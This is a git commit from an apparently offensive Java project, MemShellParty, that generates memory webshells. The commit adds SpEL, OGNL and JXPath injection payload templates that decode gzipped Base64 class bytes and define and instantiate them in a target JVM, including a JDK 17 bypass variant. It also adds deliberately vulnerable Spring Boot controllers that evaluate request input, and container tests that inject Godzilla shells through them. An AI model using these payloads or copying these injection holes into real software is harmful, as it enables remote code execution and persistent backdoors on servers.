mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support JXPathSpringGzipPacker
This commit is contained in:
@@ -28,6 +28,7 @@ dependencies {
|
||||
testImplementation(libs.junit.platform.reporting)
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testImplementation(libs.junit.pioneer)
|
||||
testImplementation(libs.logback.classic)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
testImplementation(libs.hamcrest)
|
||||
testImplementation(libs.bundles.testcontainers)
|
||||
|
||||
@@ -296,7 +296,9 @@ public class ShellAssertion {
|
||||
if (StringUtils.isNotBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(urlPattern);
|
||||
}
|
||||
if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) {
|
||||
if (Packers.SpELSpringGzipJDK17.equals(packer)
|
||||
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|
||||
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
|
||||
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
||||
}
|
||||
|
||||
@@ -328,13 +330,15 @@ public class ShellAssertion {
|
||||
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
||||
VulTool.urlIsOk(shellUrl);
|
||||
}
|
||||
case ScriptEngine, DefaultScriptEngine, ScriptEngineBigInteger -> VulTool.postIsOk(url + "/js", content);
|
||||
case ScriptEngine, DefaultScriptEngine, ScriptEngineNoSquareBrackets, ScriptEngineBigInteger ->
|
||||
VulTool.postIsOk(url + "/js", content);
|
||||
case EL -> VulTool.postIsOk(url + "/el", content);
|
||||
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
|
||||
case SpEL, SpELSpringGzip, SpELScriptEngine, SpELSpringGzipJDK17 ->
|
||||
VulTool.postIsOk(url + "/spel", content);
|
||||
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content);
|
||||
case OGNLSpringGzip, OGNLScriptEngine, OGNLSpringGzipJDK17 -> VulTool.postIsOk(url + "/ognl", content);
|
||||
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
|
||||
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
|
||||
case JXPath, JXPathScriptEngine, JXPathSpringGzip, JXPathSpringGzipJDK17 ->
|
||||
VulTool.postIsOk(url + "/jxpath", content);
|
||||
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
|
||||
case Aviator -> VulTool.postIsOk(url + "/aviator", content);
|
||||
case Groovy -> VulTool.postIsOk(url + "/groovy", content);
|
||||
|
||||
-5
@@ -102,9 +102,4 @@ public class SpringBoot3ContainerTest {
|
||||
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testCommandValveSpELSpringIOUtilsJDK17() {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container);
|
||||
}
|
||||
}
|
||||
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot3ExpressionContainerTest {
|
||||
public static final String imageName = "springboot3";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(springBoot3Dockerfile))
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||
);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
|
||||
}
|
||||
}
|
||||
+5
-4
@@ -44,16 +44,17 @@ public class Tomcat8ExpressionContainerTest {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringGzip),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringGzip),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathSpringGzip),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineNoSquareBrackets),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
||||
|
||||
@@ -29,18 +29,23 @@ import com.reajason.javaweb.packer.jsp.DefineClassJspPacker;
|
||||
import com.reajason.javaweb.packer.jsp.JspPacker;
|
||||
import com.reajason.javaweb.packer.jsp.JspxPacker;
|
||||
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
|
||||
import com.reajason.javaweb.packer.jxpath.JXPathScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipJDK17Packer;
|
||||
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipPacker;
|
||||
import com.reajason.javaweb.packer.mvel.MVELPacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLPacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLSpringGzipJDK17Packer;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLSpringGzipPacker;
|
||||
import com.reajason.javaweb.packer.rhino.RhinoPacker;
|
||||
import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker;
|
||||
import com.reajason.javaweb.packer.scriptengine.ScriptEngineNoSquareBracketsPacker;
|
||||
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELPacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker;
|
||||
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||
@@ -90,6 +95,7 @@ public enum Packers {
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker()),
|
||||
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
|
||||
ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class),
|
||||
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
|
||||
Rhino(new RhinoPacker()),
|
||||
|
||||
@@ -100,18 +106,24 @@ public enum Packers {
|
||||
|
||||
OGNL(new OGNLPacker()),
|
||||
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
|
||||
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
|
||||
OGNLSpringGzip(new OGNLSpringGzipPacker(), OGNLPacker.class),
|
||||
OGNLSpringGzipJDK17(new OGNLSpringGzipJDK17Packer(), OGNLPacker.class),
|
||||
|
||||
MVEL(new MVELPacker()),
|
||||
Aviator(new AviatorPacker()),
|
||||
|
||||
JXPath(new JXPathPacker()),
|
||||
JXPathSpringGzip(new JXPathSpringGzipPacker(), JXPathPacker.class),
|
||||
JXPathSpringGzipJDK17(new JXPathSpringGzipJDK17Packer(), JXPathPacker.class),
|
||||
|
||||
|
||||
JEXL(new JEXLPacker()),
|
||||
BeanShell(new BeanShellPacker()),
|
||||
|
||||
SpEL(new SpELPacker()),
|
||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||
SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class),
|
||||
SpELSpringGzip(new SpELSpringGzipPacker(), SpELPacker.class),
|
||||
SpELSpringGzipJDK17(new SpELSpringGzipJDK17Packer(), SpELPacker.class),
|
||||
|
||||
Groovy(new GroovyPacker()),
|
||||
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
||||
|
||||
@@ -1,19 +1,11 @@
|
||||
package com.reajason.javaweb.packer.jxpath;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JXPathPacker implements Packer {
|
||||
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
|
||||
public class JXPathPacker implements AggregatePacker {
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.jxpath;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JXPathScriptEnginePacker implements Packer {
|
||||
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngineNoSquareBrackets.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.packer.jxpath;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JXPathSpringGzipJDK17Packer implements Packer {
|
||||
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String className = config.getClassName();
|
||||
assertClassNameValid(className);
|
||||
return template.replace("{{className}}", className)
|
||||
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.jxpath;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JXPathSpringGzipPacker implements Packer {
|
||||
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread())))";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/7
|
||||
*/
|
||||
public class OGNLSpringGzipJDK17Packer implements Packer {
|
||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader(),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String className = config.getClassName();
|
||||
assertClassNameValid(className);
|
||||
return template.replace("{{className}}", className)
|
||||
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
package com.reajason.javaweb.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/7
|
||||
*/
|
||||
public class OGNLSpringGzipPacker implements Packer {
|
||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||
}
|
||||
}
|
||||
-33
@@ -1,33 +0,0 @@
|
||||
package com.reajason.javaweb.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/7
|
||||
*/
|
||||
public class OGNLSpringIOUtilsGzipPacker implements Packer {
|
||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
|
||||
}
|
||||
|
||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||
gzip.write(data);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
}
|
||||
+4
-3
@@ -2,20 +2,21 @@ package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringIOUtilsGzipJDK17Packer implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||
public class SpELSpringGzipJDK17Packer implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String className = config.getClassName();
|
||||
assertClassNameValid(className);
|
||||
return template.replace("{{className}}", className)
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||
}
|
||||
|
||||
public static void assertClassNameValid(String className) {
|
||||
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
* @since 5.2.24,SpEL 限制了长度为 10000,常规的 Base64 编码已经不适用,需要进一步使用 GZIP 压缩
|
||||
* <a href="https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100">InternalSpelExpressionParser.java</>
|
||||
*
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringGzipPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||
}
|
||||
}
|
||||
-34
@@ -1,34 +0,0 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringIOUtilsGzipPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
|
||||
}
|
||||
|
||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||
gzip.write(data);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
}
|
||||
+2
-2
@@ -18,9 +18,9 @@ class SpELSpringIOUtilsGzipJDK17PackerTest {
|
||||
classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil");
|
||||
classPackerConfig.setClassBytes("hello".getBytes());
|
||||
classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes()));
|
||||
Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
|
||||
Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringGzipJDK17.getInstance().pack(classPackerConfig));
|
||||
|
||||
classPackerConfig.setClassName("org.springframework.expression.CommonUtil");
|
||||
Assertions.assertDoesNotThrow(() -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig));
|
||||
Assertions.assertDoesNotThrow(() -> Packers.SpELSpringGzipJDK17.getInstance().pack(classPackerConfig));
|
||||
}
|
||||
}
|
||||
@@ -19,6 +19,9 @@ dependencies {
|
||||
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||
runtimeOnly("com.h2database:h2")
|
||||
implementation("ognl:ognl:2.7.3")
|
||||
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
package com.reajason.javaweb.vul.springboot3.controller;
|
||||
|
||||
import org.apache.commons.jxpath.JXPathContext;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/jxpath")
|
||||
public class JXPathController {
|
||||
@PostMapping
|
||||
protected Object doPost(String data) {
|
||||
JXPathContext context = JXPathContext.newContext(null);
|
||||
return context.getValue(data);
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.vul.springboot3.controller;
|
||||
|
||||
import ognl.Ognl;
|
||||
import ognl.OgnlContext;
|
||||
import ognl.OgnlException;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/ognl")
|
||||
public class OgnlController {
|
||||
@RequestMapping
|
||||
protected Object doPost(String data) {
|
||||
OgnlContext context = new OgnlContext();
|
||||
try {
|
||||
return Ognl.getValue(data, context, context.getRoot());
|
||||
} catch (OgnlException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -18,11 +18,11 @@ dependencies {
|
||||
implementation("commons-io:commons-io:2.19.0")
|
||||
implementation("org.apache.velocity:velocity:1.7")
|
||||
implementation("ognl:ognl:2.7.3")
|
||||
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||
implementation("org.mvel:mvel2:2.4.7.Final")
|
||||
implementation("org.beanshell:bsh:2.0b5")
|
||||
implementation("org.apache.commons:commons-jexl:2.1.1")
|
||||
implementation("org.apache.commons:commons-jexl3:3.2.1")
|
||||
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||
implementation("com.googlecode.aviator:aviator:5.2.7")
|
||||
implementation("org.codehaus.groovy:groovy:3.0.6")
|
||||
implementation("org.mozilla:rhino:1.7.14")
|
||||
|
||||
Reference in New Issue
Block a user